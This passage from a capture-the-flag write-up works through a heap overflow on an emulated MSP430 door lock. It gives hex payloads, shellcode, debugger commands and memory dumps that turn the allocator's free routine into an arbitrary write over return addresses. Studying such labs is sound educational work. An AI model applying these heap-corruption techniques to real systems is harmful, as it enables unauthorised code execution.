aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa 6445 9443 2100This exploit will write the address of the unlock_door function over the return address for the current free call.
┌────────┬────────┬────────┬──────────────────────────┐
┌─┤ 4564 │ 4394 │ .... │ .... .... .... .... .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │POINTER
│ └───────┐
│ │
│ │
│ │
│ │
└──────────────────────┐ │
│ │
│ │
WRITE▼ ▼
┌────────┬────────┬────────┬────────┐
│DATA │ .... │ 46a8 │ .... │
├────────┼────────┼────────┼────────┤
│ADDRESS │ 0x4392 │ 0x4394 │ .... │
└────────┴────────┴────────┴────────┘
Instruction Address Unaligned Crash
Submitting this payload results in another crash.
insn address unaligned
CPUOFF flag set; program no longer running. CPU must now be reset.
Inspecting the register state reveals that PC contains the value 0x0001.
Debugging
This behavior suggests that execution flow is affected by the exploit, although not in the way intended. The provided debugger does not have a backtrace command, so determining where the crash occurred is slightly more involved. Because the target return address is the one for the current free call, execution should redirect after the RET instruction at address 0x4562.
454a: 1d5f 0400 add 0x4(r15), r13
454e: 3d50 0600 add #0x6, r13
4552: 8f4d 0400 mov r13, 0x4(r15)
4556: 9f4e 0200 0200 mov 0x2(r14), 0x2(r15)
455c: 8e4f 0000 mov r15, 0x0(r14)
4560: 3b41 pop r11
4562: 3041 ret
Begin by supplying the same username and enter a short dummy value for the password. Insert a breakpoint at address 0x4562 and continue execution until that breakpoint.
Stepping once reveals that execution successfully returns to the unlock_door function, but the exploit has corrupted the first two instructions in it.
The random data that overwrote the original instructions disassembles to the following.
| Opcode | Disassembly |
|---|---|
3012 0000 |
push #0x0 |
dc12 b646 |
call 0x46b6(r12) |
The latter of these opcodes calls a random address, causing execution to branch into null memory and crash.
Working Around The Problem
Compare the corrupted instructions at the beginning of the unlock_door function with their original opcodes.
| Opcode | Disassembly |
|---|---|
3012 7f00 |
push #0x7f |
b012 b646 |
call #0x46b6 <INT> |
2153 |
incd sp |
3041 |
ret |
| Opcode | Disassembly |
|---|---|
3012 0000 |
push #0x0 |
dc12 b646 |
call 0x46b6(r12) |
2153 |
incd sp |
3041 |
ret |
Notice that the corruption is only partial. Both initial instructions are two words long, and the random data only seems to overwrite the second word of the first instruction and the first word of the second instruction.
The unlock_door function begins at address 0x4564 and ends at 0x456e. It is ten bytes long. The following debugger command reads the exact region of memory.
read 4564 10The highlighting below indicates the assembly for the uncorrupted unlock_door function. The first underlined word is the address, which is not part of the code.
> read 4564 10
4564 3012 7f00 b012 b646 2153 0......F!SThe exploit corrupts the second and third words after the end of the free call.
> read 4564 10
4564 3012 7f00 b012 b646 2153 0......F!SCrucially, the first word in the code is left unmolested.
> read 4564 10
4564 3012 7f00 b012 b646 2153 0......F!SWhile convenient, returning to the unlock_door function is not explicitly required. Suppose the return address is overwritten with a pointer to shellcode instead. This approach is much more flexible because—if the first word remains uncorrupted consistently—a jump instruction there can skip over the corrupted bytes and continue execution normally.
Writing Shellcode
The exploit thus far is as follows.
Username
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa 6445 9443 2100First, the beginning of the new payload will need to contain executable code—ideally, the same shellcode used earlier. The username will look something like the following.
3240 00ff b012 1000 aaaa aaaa aaaa aaaa 6445 9443 2100Change the value to write so it points to the shellcode.
3240 00ff b012 1000 aaaa aaaa aaaa aaaa 0e24 9443 2100If the theory is correct, this tweak will corrupt the first two words of the shellcode and cause a crash when executing it. Single stepping after the end of the free call confirms this.
2400: 0824 0010 0000 0000 0824 1e24 2100 3240 .$.......$.$!.2@
2410: 00ff b012 1000 aaaa aaaa aaaa aaaa 0e24 ...............$
2420: 9443 2100 bbbb 0000 0000 0000 0000 0000 .C!.............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
2400: 0824 0010 0000 0000 0824 1e24 2100 3240 .$.......$.$!.2@
2410: 0000 dc12 1000 aaaa aaaa aaaa aaaa 0e24 ...............$
2420: 9443 2000 bbbb 0000 0000 0000 0000 0000 .C .............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
insn address unaligned
CPUOFF flag set; program no longer running. CPU must now be reset.The executable code should be shifted three words higher in memory to leave a gap for those writes.
aaaa aaaa aaaa 3240 00ff b012 1000 aaaa 0e24 9443 2100The random data corruption occurs here:
aaaa aaaa aaaa 3240 00ff b012 1000 aaaa 0e24 9443 2100The jump instruction will be here:
aaaa aaaa aaaa 3240 00ff b012 1000 aaaa 0e24 9443 2100In this case, the code should jump six bytes from the first instruction.
┌───────────────────┬─────────────────────┐
┌─┤ JMP $+0x6 │ 023c │
│ ├───────────────────┼─────────────────────┤
│ │[OVERWRITTEN WORDS]│ aaaa aaaa │
│ ├───────────────────┼─────────────────────┤
│ │ │ │
└►│ SHELLCODE │ 3240 00ff b012 1000 │
│ │ │
├───────────────────┼─────────────────────┤
│ PADDING │ aaaa │
├───────────────────┼─────────────────────┤
│ │ │
│ METADATA │ 0e24 9443 2100 │
│ │ │
└───────────────────┴─────────────────────┘
The JMP $+0x6 opcode (0x023c when assembled) achieves this. The final payload is below.
Username
023c aaaa aaaa 3240 00ff b012 1000 aaaa 0e24 9443 2100Password
bbbbThis payload results in arbitrary code execution.
Result
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 7268 cycles.
Weapons Testing
This exploit is much more versatile because it only requires a six-byte overflow rather than a forty-four-byte one. Achieving arbitrary code execution is not enough, however. It is still unclear whether this exploit will work consistently, so the next objective is firing it at other targets to see how it behaves.
Overflow In The Password Field
If this technique generally works, it should make no difference whether the exploit is supplied in the username or password field because the overflow should corrupt a data structure of the same type.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb bbbb bbbb bbbb .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Aside from supplying a dummy value for the username, the only change is modifying the write value to point at the new shellcode location (because the password buffer is at a slightly higher address).
2400: 0824 0010 0000 0000 0824 1e24 2100 ffff .$.......$.$!...
2410: 0000 0000 0000 0000 0000 0000 0000 0824 ...............$
2420: 3424 2100 023c aaaa aaaa 3240 00ff b012 4$!..<....2@....
2430: 1000 aaaa 0e24 9443 2100 0000 0000 0000 .....$.C!.......
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Username
ffffPassword
023c aaaa aaaa 3240 00ff b012 1000 aaaa 2424 9443 2100Result
CPUOFF flag set; program no longer running. CPU must now be reset.The exploit fails, and execution reaches the end of the login function without issue.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb bbbb bbbb bbbb .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
This behavior suggests there must be some difference between the two above structures.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb bbbb bbbb bbbb .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
The second word of the last block seems to point lower in memory.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb bbbb bbbb bbbb .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
The second word of the previous block points higher in memory. This difference may break the exploit for some reason.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb bbbb bbbb bbbb .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
It is also worth noting that the third word of the first two data blocks is the same.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb bbbb bbbb bbbb .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
The third word of the third block is not the same as the previous ones. This second crucial difference may also affect the algorithm in a way that causes breakage.
Simulating An Overflow In The First Block
The two differences observed above are both plausible reasons for the failure. The first two blocks are similar, so the exploit might also work if it were possible to overflow the beginning of the first block.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ bbbb bbbb bbbb bbbb .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
No vulnerability allows overwriting this data, but it is possible to simulate one by setting these values manually via debugger commands. First, trim the overflow data from the end of the payload for the password field.
Username
ffffPassword
023c aaaa aaaa 3240 00ff b012 1000 aaaa2424 9443 2100Submit the username and password payloads, step until the first call to free, and then run the following debugger commands.
let 2408 = 2424
let 240a = 4394
At this point, the data structure will be as follows.
┌────────┬────────┬────────┬──────┐
│ 2408 │ 1000 │ 0000 │ 0000 │
└────┬───┴────────┴────────┴──────┘
│
┌──────┐ │
│ │ │
│ ┌──┐ │ │
│ │ ▼ ▼ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2424 │ 4394 │ 0021 │ aaaa 0000 0000 0000 .... │
│ └─────┬──┴────────┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ └─────────────────────┐
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 2408 │ 2434 │ 0021 │ [SHELLCODE] │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ ▲ │
│ ┌────┘ │
│ │ │
│ │ ┌───────────┘
│ │ ▼
│ │ ┌────────┬────────┬────────┬──────────────────────────┐
│ └─┤ 241e │ 2408 │ 1f9c │ 0000 0000 0000 0000 .... │
│ └────────┴─────┬──┴────────┴──────────────────────────┘
│ │
└──────────────────┘
Proceeding from this point results in arbitrary code execution.
Result
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 7325 cycles.
This proof of concept suggests that an exploit based on an overflow in the first block would work the same way as one based on an overflow in the second. The first two blocks are functionally identical, but something is different about the third. This oddity is worthy of revisitation slightly later on.
Smashing Outer Stack Frames
There are multiple free calls. This exploit overwrites the return address for the first one and calls shellcode, which is convenient because it prevents other parts of the code from breaking the exploit between the time of the arbitrary write and the return to the overwritten address. The question is whether the exploit still works when overwriting a return address in another stack frame.
The return address for the login function is at address 0x439a.
4380: 0000 0000 ca46 0100 ca46 0300 3e47 0000 .....F...F..>G..
4390: 0a00 2424 a846 0000 0000 4044 0000 0000 ..$$.F....@D....
43a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
The existing exploit is modified to overwrite this value by changing the target address.
Username
023c aaaa aaaa 3240 00ff b012 1000 aaaa 0e24 9a43 2100Password
bbbbThis proof of concept also results in arbitrary code execution. The technique seems temporally resilient and can redirect program flow significantly later in execution.
Result
If you were not connected to the debug lock, the door would now be open.
Try running "solve" in the debug console to see if this solution works without the debugger attached.
The CPU completed in 7351 cycles.
Heap Internals
The exploit works reliably. That said, the goal is not to develop a working exploit against this system but to understand the basic thought process undergirding heap exploitation against any system. That requires understanding how the underlying algorithm works, which necessitates reading the assembly for the free function. The Ghidra flow control graph for free is as follows.
The first question is where the arbitrary write occurs. Recall the payload format.
aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa cccc eeee 2100
▲ ▲
┌─────────────┘ └───┐
│ │
┌──┴──┐ ┌───┴───┐
│VALUE│ IS WRITTEN TO │ADDRESS│
└─────┘ └───────┘
A specific instruction in the free function will write the value 0xCCCC to address 0xEEEE. Identifying that instruction can be accomplished by providing the above test payload as a username with a short dummy value for the password, breaking at the start of the free function, and single-stepping while watching address 0xEEEE.
┌────┬───────────────────────┐
│4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤ ┌──┐
│452a│ mov r12, 0x4(r14) │◄─┤PC│
├────┼───────────────────────┤ └──┘
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
┌─────────────────────────────────────────────┐
│ccc0: 0000 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│ccd0: 0000 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│cce0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│eee0: 0000 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│eef0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
┌────┬───────────────────────┐
│4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤ ┌──┐
│452e│ mov 0x2(r15), 0x2(r14)│◄─┤PC│
├────┼───────────────────────┤ └──┘
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
┌─────────────────────────────────────────────┐
│ccc0: 0000 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│ccd0: 2600 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│cce0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│eee0: 0000 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│eef0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
┌────┬───────────────────────┐
│4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤ ┌──┐
│4534│ mov 0x2(r15), r13 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
┌─────────────────────────────────────────────┐
│ccc0: 0000 0000 0000 0000 0000 0000 0000 eeee│
├─────────────────────────────────────────────┤
│ccd0: 2600 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│cce0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│eee0: 0000 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│eef0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
┌────┬───────────────────────┐
│4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤ ┌──┐
│4538│ mov r14, 0x0(r13) │◄─┤PC│
├────┼───────────────────────┤ └──┘
│453c│ mov @r15, r15 │
└────┴───────────────────────┘
┌─────────────────────────────────────────────┐
│ccc0: 0000 0000 0000 0000 0000 0000 0000 eeee│
├─────────────────────────────────────────────┤
│ccd0: 2600 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│cce0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│eee0: 0000 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│eef0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
┌────┬───────────────────────┐
│4524│ add #0x6, r12 │
├────┼───────────────────────┤
│4528│ add r13, r12 │
├────┼───────────────────────┤
│452a│ mov r12, 0x4(r14) │
├────┼───────────────────────┤
│452e│ mov 0x2(r15), 0x2(r14)│
├────┼───────────────────────┤
│4534│ mov 0x2(r15), r13 │
├────┼───────────────────────┤
│4538│ mov r14, 0x0(r13) │
├────┼───────────────────────┤ ┌──┐
│453c│ mov @r15, r15 │◄─┤PC│
└────┴───────────────────────┘ └──┘
┌─────────────────────────────────────────────┐
│ccc0: 0000 0000 0000 0000 0000 0000 0000 eeee│
├─────────────────────────────────────────────┤
│ccd0: 2600 0000 0000 0000 0000 0000 0000 0000│
├─────────────────────────────────────────────┤
│cce0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│eee0: 0000 0000 0000 0000 0000 0000 0000 cccc│
├─────────────────────────────────────────────┤
│eef0: 0000 0000 0000 0000 0000 0000 0000 0000│
└─────────────────────────────────────────────┘
As soon as the value 0xCCCC appears, note down the current value of PC. The instruction just before that performs the write.
This instruction is in the following conditional block.
The payloads used up to this point cause execution to reach this block, but it is unclear why. Understanding the algorithm first requires understanding how to get to this block.
Free Calling Convention
The free function takes only one parameter, as is discernible from the outer scope.
46a2: 0f4b mov r11, r15
46a4: b012 0845 call #0x4508 <free>
46a8: 0f4a mov r10, r15
46aa: b012 0845 call #0x4508 <free>
The R15 register contains the value 0x2424 before the first free call, which is a pointer to the buffer containing the dummy password.
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa cccc ................
2420: eeee 2100 bbbb 0000 0000 0000 0000 0000 ..!.............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
The second call takes a pointer to the beginning of the username buffer at address 0x240e.
46a2: 0f4b mov r11, r15
46a4: b012 0845 call #0x4508 <free>
46a8: 0f4a mov r10, r15
46aa: b012 0845 call #0x4508 <free>
2400: 0824 0010 0000 0000 0824 1e24 2100 aaaa .$.......$.$!...
2410: aaaa aaaa aaaa aaaa aaaa aaaa aaaa cccc ................
2420: eeee 2000 bbbb 0000 0000 0000 0000 0000 .. .............
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Based on this, it seems reasonable to conclude that the login function calls free on the password buffer, then the username buffer.
Observing The Call
Observe the instructions during a free call.
┌──┐
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
▲
│
┌─┴─┐
│R15│
└───┘
┌────┬───────────────────────┐ ┌──┐
│4508│ push r11 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│450a│ add #0xfffa, r15 │
├────┼───────────────────────┤
│450e│ mov 0x4(r15), r13 │
├────┼───────────────────────┤
│4512│ and #0xfffe, r13 │
├────┼───────────────────────┤
│4516│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│451a│ mov @r15, r14 │
├────┼───────────────────────┤
│451c│ mov 0x4(r14), r12 │
├────┼───────────────────────┤
│4520│ bit #0x1, r12 │
├────┼───────────────────────┤
│4522│ jnz $+0x1c <free+0x36>│
└────┴───────────────────────┘
The function call begins with R15 pointing to the start of the password buffer.
┌──┐
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 2434 │ 0021 │ bbbb 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
▲
│
┌─┴─┐
│R15│
└───┘
┌────┬───────────────────────┐
│4508│ push r11 │
├────┼───────────────────────┤
│450a│ add #0xfffa, r15 │
├────┼───────────────────────┤ ┌──┐
│450e│ mov 0x4(r15), r13 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│4512│ and #0xfffe, r13 │
├────┼───────────────────────┤
│4516│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│451a│ mov @r15, r14 │
├────┼───────────────────────┤
│451c│ mov 0x4(r14), r12 │
├────┼───────────────────────┤
│4520│ bit #0x1, r12 │
├────┼───────────────────────┤
│4522│ jnz $+0x1c <free+0x36>│
└────┴───────────────────────┘
First, R15 is decremented by six, so it points at the beginning of the three words the previous exploits have abused.
┌──┐
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
▲
│
┌─┴─┐
│R15│
└───┘
┌────┬───────────────────────┐
│4508│ push r11 │
├────┼───────────────────────┤
│450a│ add #0xfffa, r15 │
├────┼───────────────────────┤
│450e│ mov 0x4(r15), r13 │
├────┼───────────────────────┤
│4512│ and #0xfffe, r13 │
├────┼───────────────────────┤
│4516│ mov r13, 0x4(r15) │
├────┼───────────────────────┤ ┌──┐
│451a│ mov @r15, r14 │◄─┤PC│
├────┼───────────────────────┤ └──┘
│451c│ mov 0x4(r14), r12 │
├────┼───────────────────────┤
│4520│ bit #0x1, r12 │
├────┼───────────────────────┤
│4522│ jnz $+0x1c <free+0x36>│
└────┴───────────────────────┘
The algorithm loads the third word into a register, sets the least significant bit to zero via a logical AND operation, and writes the value back.
┌───┐ ┌─────────┐ ┌────────────────┐
│R12├─►│CHECK LSB├─►│CONDITIONAL JUMP│
└───┘ └─────────┘ └────────────────┘
2408 + 4 ▲
┌──┐ ┌──────────────┐ │
│ ▼ │ ▼ │
│ ┌─────┴──┬────────┬─────┴──┬──────────────────────────┐
└─┤ 2408 │ 241e │ 0021 │ aaaa 0000 0000 0000 .... │
└────────┴─────┬──┴────────┴──────────────────────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ 2408 │ 2434 │ 0020 │ bbbb 0000 0000 0000 .... │
└────────┴────────┴────────┴──────────────────────────┘
▲
│
┌─┴─┐
│R15│
└───┘
┌────┬───────────────────────┐
│4508│ push r11 │
├────┼───────────────────────┤
│450a│ add #0xfffa, r15 │
├────┼───────────────────────┤
│450e│ mov 0x4(r15), r13 │
├────┼───────────────────────┤
│4512│ and #0xfffe, r13 │
├────┼───────────────────────┤
│4516│ mov r13, 0x4(r15) │
├────┼───────────────────────┤
│451a│ mov @r15, r14 │
├────┼───────────────────────┤
│451c│ mov 0x4(r14), r12 │
├────┼───────────────────────┤
│4520│ bit #0x1, r12 │
├────┼───────────────────────┤ ┌──┐
│4522│ jnz $+0x1c <free+0x36>│◄─┤PC│
└────┴───────────────────────┘ └──┘
The code then dereferences the first word, adds four to the resulting location, and checks whether the value at that address has the least significant bit set. If it does not, execution branches to the conditional block where the arbitrary write occurs.
Enumerating Constraints
This behavior generalizes as follows (where PTR is a placeholder for the first overflowed word).
PTR + 4
┌──────────────┐
│ ▼
┌─────┴──┬────────┬────────┬──────────────────────────┐
│ .... │ .... │ EVEN │ .... .... .... .... .... │
└────────┴────────┴────────┴──────────────────────────┘
▲
┌────┘
│
│
│
│ ┌────────┬────────┬────────┬──────────────────────────┐
└─┤ PTR │ .... │ .... │ .... .... .... .... .... │
└────────┴────────┴────────┴──────────────────────────┘
Put more formally, the exploit requires the following constraint to be satisfied.
*(PTR + 4) % 2 == 0.
